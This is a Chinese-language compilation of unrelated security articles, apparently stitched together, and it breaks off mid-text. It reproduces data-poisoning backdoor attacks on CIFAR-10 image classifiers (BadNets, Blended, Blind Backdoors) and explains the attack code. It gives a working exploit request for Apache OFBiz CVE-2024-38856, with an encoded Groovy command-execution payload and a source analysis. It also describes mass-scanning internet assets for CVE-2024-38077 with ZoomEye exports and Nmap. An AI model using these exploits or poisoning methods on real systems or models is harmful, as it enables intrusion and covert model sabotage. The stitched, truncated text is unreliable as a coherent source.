它添加了用于补丁掩膜和 YAML 配置文件的路径,这些文件提供了攻击设置的附加属性。
最后,返回更新后的解析器实例。
3. 将 YAML 配置添加到参数中:
add_bd_yaml_to_args 方法:
该方法读取指定路径 (args.bd_yaml_path) 的 YAML 配置文件。
它将从 YAML 文件中加载的默认配置更新到 args 字典中,合并现有的参数。这确保了从 YAML 文件中加载的默认值被应用,而命令行参数会覆盖这些默认值。
4. 数据准备(阶段 1):
stage1_non_training_data_prepare 方法:
记录阶段 1 的开始,并准备训练和测试数据集。
包含以下步骤:
正常数据准备:
准备干净的训练和测试数据集及其转换操作。
后门数据准备:
生成特定于后门攻击的图像和标签转换。
创建指标以确定哪些训练和测试图像应被污染,这些指标基于标签转换生成。
构建带有这些后门指标的数据集,并应用必要的转换操作,同时保存这些带有后门的数据集。
最终数据封装:
用附加的转换操作封装准备好的数据集。
5. 训练(阶段 2):
stage2_training 方法:
记录阶段 2 的开始,并初始化模型和训练设置。
模型生成:
根据指定的参数(例如类别数、图像尺寸)创建模型。
配置设备,判断是使用 GPU 还是 CPU,并根据需要使用 torch.nn.DataParallel 来处理多 GPU 的情况。
训练配置:
创建 BackdoorModelTrainer 实例来处理训练。
配置损失函数、优化器和学习率调度器。
使用 DataLoader 加载训练和测试数据,并使用 trainer.train_with_test_each_epoch_on_mix 方法进行训练。
保存训练结果,包括模型参数、数据路径以及训练和测试数据集。
我们这里以CIFAR10数据集为例进行后门攻击的演示。CIFAR-10数据集是一个广泛应用于机器学习和深度学习领域的小型图像分类数据集,由加拿大高级研究所(CIFAR)提供。该数据集包含60000张32x32大小的彩色图像,分为10个类别:飞机、汽车、鸟、猫、鹿、狗、青蛙、马、船和卡车。每个类别有6000张图像,其中50000张用于训练,10000张用于测试。这些图像是用于监督学习训练的,每个样本都配备了相应的标签值,以便于模型能够识别和学习。
正常的数据集如下所示
而在BadNets中,我们以小方块作为触发器,原数据集加上触发器后部分如下所示
我们直接进行后门的植入,即训练过程
我们可以主要关注训练期间的acc和asr的变化。acc表示模型的准确率,asr表示后门攻击的成功率,这两个指标都是越高越好。
也可以参考训练期间的损失变化情况,可以看到在逐步降低
可以查看acc的变化
可以看到在稳步升高。
哪怕就以手动终止时的第29个epoch为例
可以看到模型在执行正常任务时的准确率达到了0.90,而后门攻击的成功率达到了0.94
这就复现了BadNets的攻击方法。
Blended
理论
攻击者的目标是在深度学习模型的训练过程中,通过在训练数据中注入特定的投毒样本,植入一个后门。这样,当模型在实际应用中遇到这些特定的投毒样本或者与这些样本具有特定模式的输入时,会被误导并按照攻击者预定的方式进行分类。
与BadNets不同的地方在于,攻击者定义一个模式作为键,任何具有这种模式的输入实例都成为后门实例。例如,可以是一副眼镜、一个卡通图像或随机噪声模式。
实施步骤也是类似的
生成投毒样本:攻击者根据选择的策略生成投毒样本,这些样本在训练集中被错误标记为攻击者的目标标签。
训练数据注入:将生成的投毒样本注入到模型的训练集中。
模型训练:使用被投毒的训练集对深度学习模型进行训练,导致模型学习到错误的模式关联。
后门触发:在模型部署后,攻击者可以通过展示与投毒样本相似或具有相同模式键的输入实例来触发后门,实现攻击目的。
不过本文提出了混合注入策略(Blended Injection Strategy):将模式键与正常样本混合,生成难以被人类察觉的投毒样本。
论文中使用这种策略得到的中毒样本如下所示
混合注入策略(Blended Injection Strategy)是本文中提出的一种数据投毒攻击方法,旨在通过将攻击者选定的模式键(key pattern)与正常的输入样本混合,生成新的投毒样本。这些投毒样本在视觉上与正常样本相似,但包含了能够触发后门的特定模式。
选择模式键(Key Pattern Selection)
攻击者首先选定一个模式键,这可以是任意图像,例如卡通图像(如Hello Kitty)或随机生成的噪声模式。
定义混合函数(Blending Function Definition)
定义一个混合函数
该函数用于将模式键 (k) 与正常样本 (x) 混合。函数参数α表示混合比例,
$
\alpha \in [0, 1]
$
混合函数可以表示为:)
其中,(k) 和 (x) 是向量表示,α 用于控制模式键在混合样本中的可见度。
生成投毒样本(Poisoning Instance Generation)
攻击者随机选择或生成正常样本 (x),然后使用混合函数将模式键 (k) 与正常样本 (x) 混合,生成投毒样本 (x')。
在生成投毒样本时,攻击者选择一个较小的α值(例如
$
\alpha_{\text{train}}
$
使得混合后的模式键不易被人类察觉。
创建后门实例(Backdoor Instance Creation)
在模型训练完成后,攻击者可以创建后门实例,通过使用较大的α值(例如
$
\alpha_{\text{test}}
$
使得模式键在后门实例中更加明显,从而触发后门。
注入训练集(Injecting into Training Set
攻击者将生成的投毒样本注入到模型的训练集中,并为这些样本分配目标标签。这些样本在训练过程中误导模型,使其学习到模式键与目标标签之间的错误关联。
模型训练与后门植入(Model Training and Backdoor Embedding)
使用被投毒的训练集对深度学习模型进行训练。由于投毒样本的存在,模型在训练过程中学习到了与模式键相关的错误特征,从而植入了后门。
攻击触发(Attack Triggering)
在模型部署后,攻击者可以通过展示含有模式键的输入实例来触发后门,即使这些实例在视觉上与训练时的投毒样本不同,模型也会因为学习到的错误关联而将其分类为目标标签。
通过实验,论文验证了混合注入策略的有效性。即使只注入少量的投毒样本(例如,115个),也能在保持模型在正常测试数据上准确性的同时,实现高攻击成功率。
混合注入策略的关键在于通过调整混合比例 (\alpha),平衡投毒样本的隐蔽性和后门触发的有效性。这种策略利用了深度学习模型在训练过程中对数据的泛化能力,即使在训练时投毒样本的模式键不太明显,模型也能在测试时识别出具有相同模式键的后门实例。
复现
我们以Hello Kitty作为要blend的触发器
来查看植入触发器后得到的部分训练数据
训练代码与BadNets是类似的,只是数据集换了一下而已
执行后门注入的过程
具体的攻击配置信息如下
如下是训练期间的截图
可以看到,能成功实现后门的植入与触发。
Blind
现在我们再来看另外一种后门攻击方法。其主要探讨了一种新的在机器学习模型中注入后门的方法。这种方在训练数据可用之前和训练开始之前破坏ML训练代码。
所提出的攻击方案是一种针对机器学习模型的后门攻击,称为"Blind Backdoors",意即盲目的后门攻击。这种攻击是在训练数据可用之前,甚至在训练开始之前,通过破坏模型训练代码中的损失值计算来实现的
它的威胁模型与之前提到的后门攻击是不同的,攻击者能够修改机器学习代码库中的损失计算部分,但无法访问训练数据、模型权重或训练过程的输出。
攻击者注入恶意代码,该代码在模型训练期间动态生成有毒的训练输入(即后门输入)。
在攻击中会使用多目标优化(特别是多梯度下降算法MGDA结合Frank-Wolfe优化器)来平衡主任务和后门任务的损失函数,确保模型在两个任务上都能达到高精度。
另外,攻击者定义一个后门输入合成器(input synthesizer µ),用于生成包含后门特征的输入数据x*。
这就要求我们定义一个后门标签合成器(label synthesizer ν),它根据输入x及其正确的标签y,确定当输入包含后门特征时模型应该如何错误分类。
其中的关键在于损失值的计算与优化
在常规训练过程中,对于每个输入(x, y),计算主任务损失ℓm = L(θ(x), y)。
攻击者代码同时生成后门输入x和标签y,并计算后门任务损失ℓm* = L(θ(x), y)。
结合主任务损失和后门任务损失,以及可能的防御规避损失ℓev,形成盲损失ℓblind = α0ℓm + α1ℓm* [+α2ℓev],并通过MGDA优化α系数。
在模型训练过程中,使用修改后的损失值ℓblind进行反向传播和模型权重更新,从而在不降低主任务性能的前提下,注入后门功能。攻击者还可以在损失计算中加入额外的项,以便在不触发现有防御机制的情况下,成功注入后门。
如下是修改代码的示意图
如下是修改后的恶意代码示例
复现
合成类,Synthesizer 类的主要作用是生成带有后门攻击的数据批次。通过继承该类并实现 synthesize_inputs 和 synthesize_labels 方法,可以定制具体的后门攻击策略。make_backdoor_batch 方法负责根据配置生成带攻击的数据批次,而 apply_backdoor 方法则实际执行攻击操作。
这段代码定义了一个 Synthesizer 类,该类用于生成带有后门攻击的数据批次
1. 类定义和初始化:
Synthesizer 类:
包含两个属性:params 和 task,其中 params 是一个 Params 对象,task 是一个 Task 对象。
__init__ 方法:
构造函数接收一个 Task 对象作为参数,初始化 task 属性并将 task.params 赋值给 params 属性。这意味着 Synthesizer 的配置依赖于提供的任务对象。
2. 生成后门批次:
make_backdoor_batch 方法:
此方法用于生成带有后门攻击的数据批次。
参数:
batch: 输入的原始数据批次。
test: 一个布尔值,指示是否是测试模式。
attack: 一个布尔值,指示是否需要应用攻击。
逻辑:
如果 attack 为 False,或者当 params.loss_tasks 仅包含 'normal' 且不是测试模式,则直接返回原始批次。
如果是测试模式,则 attack_portion 等于批次大小(batch_size),即所有数据都被攻击。
否则,计算需要攻击的数据量,即根据 params.poisoning_proportion 计算批次大小的一部分。
克隆原始批次,调用 apply_backdoor 方法对克隆批次应用后门攻击。
返回修改后的批次。
3. 应用后门攻击:
apply_backdoor 方法:
用于修改批次的一部分以表示批次污染。
参数:
batch: 输入的批次数据。
attack_portion: 需要被攻击的数据量。
逻辑:
调用 synthesize_inputs 方法来合成输入数据。
调用 synthesize_labels 方法来合成标签。
这个方法没有返回值。
4. 合成输入和标签:
synthesize_inputs 方法:
这是一个抽象方法,用于合成批次中的输入数据。
该方法需要在子类中实现,以定义如何具体地修改输入数据。
synthesize_labels 方法:
这是一个抽象方法,用于合成批次中的标签。
该方法需要在子类中实现,以定义如何具体地修改标签。
关键函数
这段代码包含几个函数,用于计算损失函数、记录时间、处理梯度以及计算后门损失
1. 记录时间的函数:
record_time 函数:
参数:
params: 配置参数对象,包含记录时间的设置。
t: 记录的时间戳(通常是 time.perf_counter() 返回的值)。
name: 记录时间的标签名称。
功能:
如果 t 和 name 都被提供,并且 params.save_timing 等于 name 或者 params.save_timing 为 True,则记录当前操作的耗时。
使用 torch.cuda.synchronize() 确保 CUDA 操作完成,然后计算自 t 以来的时间差,单位为毫秒,并将其附加到 params.timing_data[name] 列表中。
2. 计算正常损失的函数:
compute_normal_loss 函数:
参数:
params: 配置参数对象。
model: 用于计算损失的模型。
criterion: 损失函数。
inputs: 输入数据。
labels: 标签数据。
grads: 布尔值,是否需要计算梯度。
功能:
记录前向传播的时间,并计算模型的输出。
计算输出和标签之间的损失。
如果 params.dp 为 False,对损失进行平均。
如果 grads 为 True,记录反向传播的时间,并计算梯度。
返回值:
返回计算得到的损失和(如果需要)计算得到的梯度。
3. 获取梯度的函数:
get_grads 函数:
参数:
params: 配置参数对象。
model: 用于计算梯度的模型。
loss: 损失值。
功能:
记录计算梯度的时间,并计算模型参数的梯度。
返回值:
返回计算得到的梯度。
4. 张量非线性变换的函数:
th 函数:
参数:
vector: 输入张量。
功能:
对输入张量应用双曲正切函数 (torch.tanh) 并将结果归一化到 [0, 1] 范围内。
返回值:
返回归一化后的张量。
5. 计算范数损失的函数:
norm_loss 函数:
参数:
params: 配置参数对象。
model: 包含 mask 属性的模型。
grads: 布尔值,是否需要计算梯度。
功能:
根据 params.nc_p_norm 计算 model.mask 的范数:
如果 params.nc_p_norm 为 1,计算 mask 的 L1 范数。
如果 params.nc_p_norm 为 2,计算 mask 的 L2 范数。
如果 grads 为 True,计算梯度并将模型的梯度清零。
返回值:
返回计算得到的范数和(如果需要)计算得到的梯度。
6. 计算后门损失的函数:
compute_backdoor_loss 函数:
参数:
params: 配置参数对象。
model: 用于计算损失的模型。
criterion: 损失函数。
inputs_back: 带有后门攻击的输入数据。
labels_back: 带有后门攻击的标签数据。
grads: 布尔值,是否需要计算梯度。
功能:
记录前向传播的时间,并计算模型在带有后门攻击的输入数据上的输出。
计算输出和带有后门攻击的标签之间的损失。
如果 params.task 为 'Pipa',对特定标签的损失进行调整。
如果 params.dp 为 False,对损失进行平均。
如果 grads 为 True,计算梯度。
返回值:
返回计算得到的损失和(如果需要)计算得到的梯度。
总的来说,这些函数用于在训练过程中处理损失计算、记录时间、计算梯度等操作,支持对正常数据和后门攻击数据的处理。
这个函数 compute_all_losses_and_grads 用于计算一组损失函数和梯度,涉及到正常损失、后门损失、掩膜范数损失,以及某种特定的损失计算(如 Neural Cleanse 部分)
函数参数:
loss_tasks: 一个包含不同损失任务名称的列表,例如 'normal', 'backdoor', 'mask_norm', 'neural_cleanse_part1' 等。
attack: 包含配置参数和模型的对象,提供必要的参数来计算损失。
model: 要计算损失的模型。
criterion: 损失函数,用于计算模型输出和目标之间的损失。
batch: 正常训练批次的对象,通常包含输入数据和标签。
batch_back: 带有后门攻击的批次对象,通常包含后门数据和标签。
compute_grad: 布尔值,指示是否需要计算梯度。
函数功能:
初始化字典:
grads: 用于存储每种任务的梯度。
loss_values: 用于存储每种任务的损失值。
计算损失和梯度:
遍历 loss_tasks 中的每个任务,根据任务类型调用相应的损失计算函数。
'normal':
调用 compute_normal_loss 函数,计算正常的训练损失和梯度。
使用 batch.inputs 和 batch.labels。
'backdoor':
调用 compute_backdoor_loss 函数,计算带有后门攻击的损失和梯度。
使用 batch_back.inputs 和 batch_back.labels。
'mask_norm':
调用 norm_loss 函数,计算掩膜的范数和梯度(如果需要)。
使用 attack.nc_model 来计算掩膜的范数。
'neural_cleanse_part1':
调用 compute_normal_loss 函数,计算 Neural Cleanse 部分 1 的损失和梯度。
使用 batch.inputs 和 batch_back.labels。
返回结果:
返回两个字典:loss_values 和 grads,分别包含每种任务的损失值和梯度。
compute_all_losses_and_grads 函数的作用是根据任务列表计算各种损失函数和梯度。根据提供的任务类型,它会选择合适的损失计算方法,并将计算结果存储在字典中。最终返回这些计算结果,以供进一步处理或分析。
攻击类
Attack 类主要用于管理攻击过程中的损失计算,包括:
使用正常数据和带有后门数据的批次计算损失。
根据不同的损失平衡策略(如 MGDA 或固定缩放因子)来调整损失的权重。
记录和更新损失历史,以便进一步分析和优化。
支持不同的损失计算任务,并在计算损失时考虑到这些任务的权重。
这个 Attack 类用于实现和管理一种攻击策略,其中包括计算损失值、调整损失的权重、以及跟踪损失历史记录。
属性:
params: 存储参数配置的对象。包含了关于损失计算、损失平衡等的配置。
synthesizer: Synthesizer 实例,用于生成带有后门的批次数据。
nc_model: 用于 Neural Cleanse 的模型。
nc_optim: 用于优化 Neural Cleanse 模型的优化器。
loss_hist: 存储历史损失值的列表。
方法:
__init__ 方法:
参数:
params: 配置参数对象。
synthesizer: 用于生成带有后门数据的 Synthesizer 实例。
功能:
初始化 params 和 synthesizer 属性。
compute_blind_loss 方法:
参数:
model: 当前训练的模型。
criterion: 损失函数。
batch: 正常批次数据。
attack: 布尔值,指示是否进行攻击。
功能:
计算 batch 数据的剪切版本。
根据是否进行攻击设置 loss_tasks 列表。
使用 synthesizer 生成带有后门的批次数据 batch_back。
根据历史损失和阈值调整 loss_tasks。
根据 loss_balance 配置选择计算损失的方法:
MGDA: 使用 MGDA (Multi-Gradient Descent Algorithm) 平衡损失,计算梯度和损失,获取缩放因子。
fixed: 使用固定的缩放因子进行损失计算。
如果只有一个损失任务,设置默认的缩放因子为 1.0。
更新 loss_hist 列表,记录正常损失的最新值。
调用 scale_losses 方法计算加权损失。
返回加权后的损失值。
scale_losses 方法:
参数:
loss_tasks: 损失任务列表。
loss_values: 包含不同任务损失值的字典。
scale: 各任务损失的缩放因子。
功能:
计算加权损失值 blind_loss。
将每个任务的损失值和缩放因子存储在 params.running_losses 和 params.running_scales 中。
更新总损失记录 params.running_losses['total']。
返回加权后的损失值 blind_loss。
MGDA求解器
MGDASolver` 类用于在多目标优化中平衡不同任务的梯度和损失值,主要包括:
计算最小范数解的函数 (_min_norm_element_from2, _min_norm_2d)。
投影到单纯形上的方法 (_projection2simplex)。
梯度下降及更新点的方法 (_next_point)。
寻找最小范数元素的优化算法 (find_min_norm_element, find_min_norm_element_FW)。
计算各任务缩放因子的函数 (get_scales)。
这些方法帮助在多任务学习中优化和调整损失,使得模型能够在不同任务之间取得平衡。
MGDASolver 类实现了多目标优化中使用的多梯度下降算法 (MGDA),其主要用于解决在多个目标之间平衡梯度的优化问题
类属性:
MAX_ITER: 最大迭代次数,设置为 250。
STOP_CRIT: 停止准则,当变化小于该值时停止迭代,设置为 1e-5。
方法:
_min_norm_element_from2 方法:
功能:
计算最小范数元素,即 (\min{c} |cx_1 + (1-c)x_2|2^2)。
根据 (x_1) 和 (x_2) 的内积计算最小范数解。
参数:
v1v1: (\langle x_1, x_1 \rangle)。
v1v2: (\langle x_1, x_2 \rangle)。
v2v2: (\langle x_2, x_2 \rangle)。
返回值:
gamma: 最优的比例系数。
cost: 对应的最小范数。
_min_norm_2d 方法:
功能:
在二维情况下找到最小范数解的组合。
参数:
vecs: 向量列表。
dps: 用于存储内积结果的字典。
返回值:
sol: 最小范数的解及其对应的最小值。
dps: 内积结果字典。
_projection2simplex 方法:
功能:
解决投影到单纯形上的优化问题,确保解满足 (\sum z = 1) 和 (0 \leq z_i \leq 1)。
参数:
y: 输入向量。
返回值:
投影后的向量 z。
_next_point 方法:
功能:
在当前点 cur_val 上进行梯度下降,并将结果投影到单纯形上。
参数:
cur_val: 当前点的值。
grad: 当前点的梯度。
n: 向量的维度。
返回值:
下一点 next_point。
find_min_norm_element 方法:
功能:
寻找在给定向量列表的凸包中具有最小范数的元素。
参数:
vecs: 向量列表。
返回值:
sol_vec: 最小范数的解。
nd: 最小范数值。
find_min_norm_element_FW 方法:
功能:
使用 Frank-Wolfe 算法寻找在给定向量列表的凸包中具有最小范数的元素。
参数:
vecs: 向量列表。
返回值:
sol_vec: 最小范数的解。
nd: 最小范数值。
get_scales 方法:
功能:
计算每个任务的缩放因子,以最小化多目标优化问题中的范数。
参数:
grads: 各任务的梯度。
losses: 各任务的损失值。
normalization_type: 梯度归一化类型。
tasks: 任务列表。
返回值:
scale: 每个任务的缩放因子字典。
PatternSynthesizer 类的设计目的是将一个预定义的或动态生成的后门模式嵌入图像中。它处理模式的创建、放置和与图像的结合,并根据需要调整标签以适应后门攻击。
这段代码定义了一个名为 PatternSynthesizer 的类,它是 Synthesizer 的一个子类。这个类的主要功能是生成特定的模式(即后门模式)并将其嵌入到图像中。以下是对每个组件的详细解释:
属性和初始化:
pattern_tensor:这个属性保存了一个预定义的二维张量模式。它是一个矩阵,其中包含一些正值和负值。这个模式用于作为后门模式嵌入图像中。
x_top 和 y_top:这些属性表示后门模式在图像中放置时的左上角坐标。x_top 是水平坐标,y_top 是垂直坐标。
mask_value:一个值,用于表示在模式中哪些区域不会被应用到图像上。
resize_scale:这个元组定义了一个范围,用于在模式的位置动态变化时对模式进行缩放。
mask:一个张量,用于将后门模式与原始图像结合。它标记了图像中哪些部分受后门模式的影响。
pattern:这个张量保存了最终的后门模式,它是在图像中嵌入模式并应用了掩码后的结果。
初始化 (__init__ 方法):
__init__ 方法调用父类的初始化方法,然后通过调用 self.make_pattern 创建初始的后门模式。
模式创建 (make_pattern 方法):
这个方法首先初始化一个 full_image 张量,其大小由 self.params.input_shape 指定,填充了 mask_value。
然后计算模式的右下角坐标 (x_bot, y_bot),以确保模式不会超出图像边界。如果模式超出边界,则引发 ValueError。
将模式放置在 full_image 中的指定左上角坐标。
创建 mask 张量,用于标记 full_image 中与 mask_value 不同的部分。
将 pattern 张量进行归一化,并移动到适当的设备(例如 GPU)。
合成输入 (synthesize_inputs 方法):
这个方法将生成的模式嵌入到一批输入图像中。它使用 mask 确保只有与后门模式对应的图像部分被修改。
合成标签 (synthesize_labels 方法):
这个方法为批量标签中的后门攻击部分设置特定的标签 (self.params.backdoor_label)。
获取模式 (get_pattern 方法):
如果启用了动态位置调整,这个方法会在定义的 resize_scale 范围内随机调整 pattern_tensor 的大小。它还会有 50% 的概率水平翻转模式。
将调整大小后的模式转换为图像,再转换回张量,并在图像尺寸内随机放置。
再次调用 make_pattern 方法以更新 pattern 和 mask 属性,应用新的位置。
AddMaskPatchTrigger 类用于将指定的触发器图像应用到目标图像上的特定区域,而 gradient_normalizers 函数则用于根据指定的归一化类型对梯度进行归一化处理。这些功能通常用于处理图像数据和优化过程中的梯度调整。
这段代码定义了两个不同的功能:
AddMaskPatchTrigger 类:
这个类用于将一个触发器(trigger_array)应用到图像上,通过一个掩码(mask_array)来控制触发器的应用区域。
构造函数 (__init__ 方法):
trigger_array: 触发器数组,可以是 numpy.ndarray 或 torch.Tensor。
mask_array: 掩码数组,同样可以是 numpy.ndarray 或 torch.Tensor。
将这两个参数存储为实例变量。
调用方法 (__call__ 方法):
这个方法让 AddMaskPatchTrigger 实例可以像函数一样被调用。它调用 add_trigger 方法来将触发器应用到图像上。
添加触发器 (add_trigger 方法):
add_trigger 方法接收一张图像 img,通过使用掩码数组 mask_array 将触发器数组 trigger_array 叠加到图像上。
计算方式是:img * (1 - mask_array) + trigger_array * mask_array。这意味着图像中掩码为1的部分将被触发器覆盖,而掩码为0的部分保持不变。
gradient_normalizers 函数:
这个函数用于根据不同的归一化类型对梯度进行归一化处理。它接收梯度(grads)、损失(losses)和归一化类型(normalization_type)。
参数:
grads: 一个字典,键是变量名,值是对应变量的梯度列表。
losses: 一个字典,键是变量名,值是对应变量的损失值。
normalization_type: 一个字符串,指定归一化类型,可以是 'l2'、'loss'、'loss+'、'none' 或 'eq'。
归一化类型处理:
l2:
对于每个梯度,计算梯度的 L2 范数(即每个梯度的平方和的平方根)。
loss:
对于每个梯度,使用损失的均值进行归一化,归一化值最大为 10.0。
loss+:
归一化值是损失的均值与梯度的 L2 范数的乘积,最大值为 10。
none 或 eq:
归一化值固定为 1.0。
如果提供了无效的归一化类型,抛出 ValueError 异常。
返回值:
返回一个字典 gn,包含每个变量的归一化值。
blendedImageAttack_on_batch 类用于将目标图像与输入图像按比例混合,从而生成具有目标图像特征的混合图像。
batchwise_label_transform 类用于批量标签的转换,通过指定的变换函数将原始标签转换为新的标签,并将结果移动到指定设备。
这两个类的功能可以在图像处理和模型训练中用于特定的攻击策略和标签处理任务。
1. blendedImageAttack_on_batch 类
这个类用于对图像批次进行混合攻击。它将目标图像和当前图像按一定比例混合,生成具有目标图像特征的图像。
构造函数 (__init__ 方法):
target_image: 目标图像,它将用于与输入图像进行混合。这个图像被移动到指定的设备(如 GPU)。
blended_rate: 混合比例,决定了目标图像在最终混合图像中的占比。
device: 设备(如 GPU),用于存储目标图像。
调用方法 (__call__ 方法):
使得 blendedImageAttack_on_batch 实例可以像函数一样被调用。它调用 add_trigger 方法来进行图像混合。
添加触发器 (add_trigger 方法):
img: 输入图像。
计算混合图像的公式是 (1 - self.blended_rate) * img + (self.blended_rate) * self.target_image[None, ...]。这里使用了广播(broadcasting),将目标图像的维度与输入图像的维度对齐,然后将目标图像和输入图像按比例混合。
2. batchwise_label_transform 类
这个类用于批量标签的转换,将原始标签通过某种变换函数转换为新的标签。
构造函数 (__init__ 方法):
label_transform: 一个函数,用于将标签转换为目标标签。
device: 设备(如 GPU),用于存储转换后的标签。
调用方法 (__call__ 方法):
batch_labels: 批量标签,是一个张量(torch.Tensor)。
使用列表推导将每个标签通过 self.label_transform 函数进行转换,并将结果转换为张量,最终将张量移动到指定的设备上。
此时的中毒样本如下
执行后门注入
如下是攻击配置信息
训练过程部分截图如下
查看acc变化情况
可以看到也是稳步上升的
总得来说,这种后门攻击方法,虽然后门攻击成功率较高,但是正常任务的准确率会受到一定影响,比如在第24个epoch时,正常任务的准确率才0.79。
Apache OFBiz远程代码执行漏洞(CVE-2024-38856)
漏洞简介
Apache OFBiz 是一个开源的企业资源规划系统,提供了一整套企业管理解决方案,涵盖了许多领域,包括财务管理、供应链管理、客户关系管理、人力资源管理和电子商务等。Apache OFBiz 基于 Java 开发,采用灵活的架构和模块化设计,使其可以根据企业的需求进行定制和扩展,它具有强大的功能和可扩展性,适用于中小型企业和大型企业,帮助他们提高效率,降低成本,并实现业务流程的自动化和优化。Apache OFBiz 在处理 view 视图渲染的时候存在逻辑缺陷,未经身份验证的攻击者可通过构造特殊 URL 来覆盖最终的渲染视图,从而执行任意代码。
影响版本
Apache OFBiz <\= 18.12.14
漏洞复现
https://github.com/apache/ofbiz-framework/releases/tag/release18.12.14下载代码链接 https://codeload.github.com/apache/ofbiz-framework/zip/refs/tags/release18.12.14
下载后利用 idea 打开并编译运行
构造发送数据包
POST /webtools/control/main/ProgramExport HTTP/1.1
Host: 127.0.0.1:8443
Connection: close
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Content-Type: application/x-www-form-urlencoded
Content-Length: 272
groovyProgram=\u0074\u0068\u0072\u006f\u0077\u0020\u006e\u0065\u0077\u0020\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006f\u006e\u0028\u0027\u0063\u0061\u006c\u0063\u0027\u002e\u0065\u0078\u0065\u0063\u0075\u0074\u0065\u0028\u0029\u002e\u0074\u0065\u0078\u0074\u0029\u003b
成功执行打开计算器的命令
\u0074\u0068\u0072\u006f\u0077\u0020\u006e\u0065\u0077\u0020\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006f\u006e\u0028\u0027\u0063\u0061\u006c\u0063\u0027\u002e\u0065\u0078\u0065\u0063\u0075\u0074\u0065\u0028\u0029\u002e\u0074\u0065\u0078\u0074\u0029\u003b 是 throw new Exception('calc'.execute().te
漏洞分析
applications\accounting\webapp\accounting\WEB-INF\web.xml
org.apache.ofbiz.webapp.control.ControlServlet 会处理所有以/control/ 开头的路由
org.apache.ofbiz.webapp.control.ControlServlet#doPost
doPost 方法转换为 doGet 请求
org.apache.ofbiz.webapp.control.ControlServlet#doGet
利用 RequestHandler 来处理请求
org.apache.ofbiz.webapp.control.RequestHandler#doRequest
在 RequestHandler#doRequest 中依次获取路由相关参数
org.apache.ofbiz.base.util.UtilHttp#getApplicationName
org.apache.ofbiz.webapp.control.RequestHandler#getRequestUri
org.apache.ofbiz.webapp.control.RequestHandler#getOverrideViewUri
依次获取到与路由相关的参数后,调用 resolveURI 返回路由对应的配置信息
org.apache.ofbiz.webapp.control.RequestHandler#resolveURI
这里对应的是
framework/webtools/webapp/webtools/WEB-INF/controller.xml
对应的 /webtools/control/main/ 不需要认证,所以可以继续向下执行
通过success获取到返回值的数据赋值给successResponse,然后传递给nextRequestResponse
else if ("view".equals(nextRequestResponse.type)) {
if (Debug.verboseOn()) Debug.logVerbose("[RequestHandler.doRequest]: Response is a view." + showSessionId(request), module);
// check for an override view, only used if "success" = eventReturn
String viewName = (UtilValidate.isNotEmpty(overrideViewUri) && (eventReturn == null || "success".equals(eventReturn))) ? overrideViewUri : nextRequestResponse.value;
renderView(viewName, requestMap.securityExternalView, request, response, saveName);
}
在overrideViewUri 非空且 eventReturn 为 null 或 "success" 的情况下,将 viewName 设置为 overrideViewUri 。否则将 viewName 设置为 nextRequestResponse.value 。
这里请求的路径为 /main/ProgramExport 造成 view 的解析冲突,会进入到 ProgramExport 这个业务中 ,renderView 方法会解析与ProgramExport对应的请求
framework/webtools/widget/EntityScreens.xml
framework/webtools/groovyScripts/entity/ProgramExport.groovy
如何通过组合手段大批量探测CVE-2024-38077
背景
近期正值多事之秋,hvv中有CVE-2024-38077专项漏洞演习,上级police也需要检查辖区内存在漏洞的资产,自己单位领导也收到了情报,在三方共振下这个大活儿落到了我的头上。Windows Server RDL的这个漏洞原理就不过多介绍,本文重点关注如何满足大批量探测的需求。
问题
CVE-2024-38077自披露以来流传过几个poc工具,但使用过后留下的只有某某服的exe版本。可能出于保密原因,这个工具不支持的功能太多,本文就不一一列举,采用排除法自行脑补。支持的参数是指定某个IP或者某个IP段进行扫描,然后没了,就像这样:
但是这样扫来扫去无法满足需求,遇到的几个典型问题就是:
扫的为什么很慢?
从外部导入IP怎么办?
如何从大批量资产中筛选出有漏洞的?
空间测绘
探测辖区内或者某一地区的资产当然离不开空间测绘工具,fofa、鹰图、shaodan、zoomeye等著名的自然要尝试一遍,搜索的关键词首先是国内+3389和135端口+windows server操作系统,协议的话可以组合RDP/RDL,这样一来搜出的资产会多达几百万条,百万量级的数据处理起来对于我们这种小散户而言属于天方夜谭。况且这些空间测绘平台中有的甚至不支持非会员大数据量查询,像shaodan这样能够显示出来已经是仁慈的了:
结果虽然搜索出来了,但是百万级的数据是拿不到的。一是不支持多端口筛选,二是不支持导出(非会员)。
这里先解决第二个问题,如何导出搜索结果?突然想起了许久未用的空间测绘工具——kunyu(坤舆)。运行起来,进去执行搜索是这样:
检查了好多遍,语法没问题。不明觉厉之际,联系了kunyu的作者@风起。询问才知道ZoomEye的普通账号权限已经不支持kunyu了。唉,只能厚着脸皮借来账号一用。
然后就是重新初始化、配置输出目录、配置查询页数......这次导出的关键就在page参数上。kunyu默认的page是1,每次显示10条,即输出的Excel中有10条数据。如果设置为1000,则会显示10000条数据,导出的数据也就是10000条,但是这样一来查询效率会大大降低。经过测试,将page设置为100是较为合适的,也就是每次显示1000条。另外配合时间参数after、before以及区域参数city、subvisions将单次搜索总量控制在1000条以内,这样就可以不漏掉资产。
最后经过一番折腾,搜索了60多次,合并多个文件后,终于生成了一份5万条左右的Excel......既然有了一堆IP,接下来该进行的就是如何把这些IP导入工具开扫。但此时的poc工具是不支持外部IP导入的,并且对于“Can Not Reach Host.”之类的资产扫描进度会很慢,所以要考虑如何兼顾效率和准确性的问题。
Nmap
由于之前经过测试,对于确实存在漏洞的资产,poc的响应是很快的。CVE-2024-38077的利用条件之一是同时开放135和3389端口,而空间测绘工具搜索的结果是未验证135的,所以接下来的思路是使用Nmap对5万个资产探测一下两个端口的开放情况,然后根据输出结果筛选出两个端口均为open状态的IP,最后尝试将筛选出的IP导入poc工具扫描。
这个阶段也尝试过fscan等其他工具,但是比较下来Nmap的输出是最整齐的(前提是控制输入参数),方便后续处理:
